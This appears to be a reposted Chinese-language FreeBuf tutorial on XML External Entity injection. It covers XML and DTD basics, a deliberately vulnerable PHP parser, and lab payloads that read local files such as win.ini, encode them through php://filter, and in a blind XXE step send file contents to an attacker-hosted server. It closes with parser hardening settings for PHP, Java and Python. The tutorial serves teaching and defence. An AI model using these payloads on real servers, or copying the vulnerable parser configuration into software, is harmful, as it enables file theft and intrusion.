XXE漏洞 – 作者:zhijian

第一部分    XXE基础

前言:XXE漏洞是由于XML引入DTD不当,引发的漏洞。所以我们需要知道什么是XML,什么是DTD。

1.1 XML格式介绍

1.XML指可扩展标记语言(EXtensible Markup Language)。

XML是一种很像HTML的标记语言.可以解析很多 网络协议(如:http/ftp/file等其他协议,不同语言需要安装不同插件来支持)。

2. XML和HTML的对比

(1)用途不同

XML被设计用来对数据进行传输和存储数据;
XML是以纯文本方式独立于硬件和软件的信息传输工具,是w3c的标准—>着重于传输;

HTML被设计用来进行”格式化”的显示数据—>着重于格式化显示;

(2)规则不同

XML是支持用户自定义标签和格式的,非常灵活;这也就需要有一个“校验”来保证XML格式正确,而DTD正是用来实现对XML的“校验”功能。

HTML里的元素标签都是预定义好的;

3.XML格式说明

图片[1]-XXE漏洞 – 作者:zhijian-安全小百科

4.XML语法说明

  • (1)所有XML元素都必须有一个关闭标签
  • (2)XML标签对大小写敏感
  • (3)XML必须正确嵌套
  • (4)XML属性值必须加引号 <note date=”12/20/2008″>
  • (5)对于一些特殊字符要用实体编码:
    &lt;  <  less than
    &gt;  >  greater than
    &amp;  &  ampersand
    &apos;  ‘  apostrophe
    &quot;  ”  quotation mark
  • (6)XML中的注释符是<!–注释–>
  • (7)XML元素命名最好用字母下划线组成,不以下划线开头

1.2 DTD实体引用介绍

1. DTD(Document Type Definition)作用: 对XML文档的结构进行规范.

2. DTD实体引用方式,主要分为内部DTD引用,外部DTD引用,公共DTD引用和参数DTD引用。

3. 内部DTD引用举例

说明:插入xml代码,为了方便,用//表示注释;正常注释应该是<!—->

//定义DTD
<?xml version="1.0"?> <!DOCTYPE person [ <!ENTITY writer "Jack Wilson"> <!ENTITY country "Copyright www.test.com"> ]>
//XML内部调用,实体有&/实体名称和分号结尾 <person>&writer;&country;</person>

4. 外部DTD引用举例

//基本格式
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的路径"> //外部引用DTD格式: <!ENTITY test SYSTEM "http://www.test.com/test.dtd"> //调用公网URL <!ENTITY test SYSTEM "file:///c:/test.dtd"> //读取本地文件

//xml文件:引入DTD,调用元素显示。

<?xml version=”1.0″?>
<!DOCTYPE note SYSTEM “note.dtd”>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Do not forget me this weekend!</body>
</note>

//note.dtd文件,定义元素名称和类型
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

外部引入DTD时,不同语言支持的协议如下:

图片[2]-XXE漏洞 – 作者:zhijian-安全小百科

5.  引入公共DTD:调用公网存在的共用DTD文件。

//post型POC利用,这里的url一般是已经搭建的公网存放了恶意代码的服务器
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY %  xxe PUBLIC "public_id" "http://192.100.10.1:81/evil.dtd" >
%xxe;]>
<name>&evil;</name>

//外部 evil.dtd 中的内容(可以放在自己的服务器上)。 
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >  

6. 引用参数DTD

//参数DTD基本格式
<!ENTITY % 实体名称 "实体的值"> 或者 <!ENTITY % 实体名称 SYSTEM "URI"> //POC利用代码 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY > <!ENTITY % xxe SYSTEM "http://192.168.10.31:81/evil.dtd" > %xxe;]> <name>&evil;</name>

第二部分    XXE漏洞

2.1 XXE漏洞介绍和危害

1.XXE(XML External Entity Injection):叫做XML外部实体注入。

为了更好的规范XXE文件的格式,引入DTD作为约束。这本来是一个正常的引入功能。

而XXE漏洞是攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致存在漏洞.

2.XXE漏洞危害

  • (1)DDOS攻击(拒绝服务攻击)
  • (2)文件读取
  • (3)命令执行–>需要安装插件
  • (4)SQL注入
  • (5)内外网端口扫描
  • (6)入侵内网站点等

2.2 XXE涉及函数

1. file_get_contents():把整个文件读入字符串中,以便进行后续处理。

2. php://input 表示读取请求原始数据的只读流。

3. simplexml_load_string()函数:把xml格式字符串转换为对应的xml元素。

4. simplexml_import_dom()函数:把dom节点转换为xml元素对象,如果失败返回false。

5. xml2.php漏洞代码分析

//利用页面xml2.php内容如下
<?php
    libxml_disable_entity_loader (false);                 //一定要是false,才存在XXE漏洞。
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;
?>

2.3 XXE注入实验

1. 实验环境说明:

  • phpStudy中php5.2+apache环境,测试浏览器用的是谷歌,谷歌需要安装hackbar。
  • XXE是一个比较老的漏洞,现在比较少了。
  • XXE漏洞代码,用的就是上边的xml2.php

2.实验1:DTD内部调用,读取本地文件

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY > 
<!ENTITY xxe "test.com">
]>
<foo>&xxe;</foo>

图片[3]-XXE漏洞 – 作者:zhijian-安全小百科

3.实验2:调用外部DTD读取本地文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<name>&xxe;</name>

图片[4]-XXE漏洞 – 作者:zhijian-安全小百科

4.实验3:使用参数实体引入DTD,读取文件

//POC利用代码;这里192.168.10.31是攻击者自己搭建的服务器,并存放了evil.dtd的XXE测试文件。
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [<!ELEMENT name ANY >
<!ENTITY %  xxe SYSTEM "http://192.168.10.31:81/evil.dtd" >
%xxe;]>
<name>&evil;</name>

//外部 evil.dtd(可以放在黑客自己的服务器上) 中的内容用来定义读取被攻击主机的文件路径。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >  

图片[5]-XXE漏洞 – 作者:zhijian-安全小百科

5.实验4:但是当读取的文件中有特殊字符,比如< & 等。这时,用上边的方法就不能读取了。我们需要用到php://filter/read来对读取内容进行Base64编码。

//利用代码: 
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % files SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/muma.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://192.168.10.31:1001/evil.dtd"> 
%dtd; ]> 

<roottag>&all;</roottag>

//外部 evil.dtd 中的内容。 
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY all "%start;%files;%end;">

图片[6]-XXE漏洞 – 作者:zhijian-安全小百科

图片[7]-XXE漏洞 – 作者:zhijian-安全小百科

6. 实验5:如果结果不能被显示在页面,这种无回显的XXE就是Bind-XXE。

//(1)在黑客的web服务器(地址:192.168.10.31:81)上创建一个测试文件命名为test.dtd,内容如下
<!ENTITY % file SYSTEM 
"php://filter/read=convert.base64-encode/resource=file:///d:/muma.txt"> 
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://192.168.10.31:81?p=%file;'>"> 

//(2)在浏览器使用post方式提交poc如下:
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE convert [  
<!ENTITY % remote SYSTEM "http://192.168.10.31:81/test.dtd"> 
%remote;%int;%send; 
]>    

图片[8]-XXE漏洞 – 作者:zhijian-安全小百科

如果页面没有返回也没关系,可以到黑客自己的服务器日志里查看。

图片[9]-XXE漏洞 – 作者:zhijian-安全小百科

2.4 XXE防御

1. 版本说明:

  • libxml2.9.1 及以后,默认不解析外部实体。
  • 测试的时候 windows 下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。
  • Linux 中需要将 libxml低于 libxml2.9.1 的版本编译到 PHP .

2. 最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止

#PHP: 
libxml_disable_entity_loader(true); 
 
#JAVA: 
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); 
dbf.setExpandEntityReferences(false); 
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); 
setFeature("http://xml.org/sax/features/external-general-entities",false) 
setFeature("http://xml.org/sax/features/external-parameter-entities",false); 
 
#Python: 
from lxml import etree 
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False)) 

来源:freebuf.com 2020-08-25 22:48:37 by: zhijian

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论